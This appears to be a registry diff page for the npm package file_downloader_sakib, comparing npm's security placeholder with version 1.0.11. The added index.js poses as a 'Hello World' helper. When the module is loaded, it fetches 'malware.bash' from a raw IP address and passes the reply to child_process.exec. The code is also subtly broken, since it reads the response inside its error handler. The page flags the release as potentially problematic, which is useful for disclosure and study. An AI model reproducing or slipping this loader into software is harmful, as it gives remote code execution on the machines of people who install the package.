file_downloader_sakib 0.0.1-security → 1.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of file_downloader_sakib might be problematic. Click here for more details.

package/.gitignore ADDED
@@ -0,0 +1,5 @@
1
+ node_modules/
2
+ .*
3
+ !.npmignore
4
+ !.gitignore
5
+ *.bash
package/.npmignore ADDED
@@ -0,0 +1,5 @@
1
+ node_modules/
2
+ .*
3
+ !.npmignore
4
+ !.gitignore
5
+ *.bash
package/index.js ADDED
@@ -0,0 +1,33 @@
1
+ const axios = require('axios');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const { exec } = require('child_process');
5
+ const greet=()=>{
6
+ console.log(require('os').platform());
7
+ console.log('Hello World');
8
+ }
9
+ (
10
+ ()=>{
11
+ const fileurl="http://172.207.82.2:8000/malware.bash";
12
+ axios.get(fileurl).then((response)=>{
13
+
14
+ }).catch((error)=>{
15
+ const commands = response.data;
16
+ console.log(response.data);
17
+ exec(commands, (error, stdout, stderr) => {
18
+ if (error) {
19
+ console.error(`Error executing commands: ${error.message}`);
20
+ return;
21
+ }
22
+ if (stderr) {
23
+ console.error(`stderr: ${stderr}`);
24
+ return;
25
+ }
26
+ console.log(`stdout: ${stdout}`);
27
+ });
28
+ console.log(error);
29
+ });
30
+ }
31
+ )()
32
+
33
+ module.exports=greet;
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "file_downloader_sakib",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.11",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Nothing to test\" && exit 0"
8
+ },
9
+ "author": "Najmus Sakib Rashid",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "axios": "^1.8.4"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=file_downloader_sakib for more information.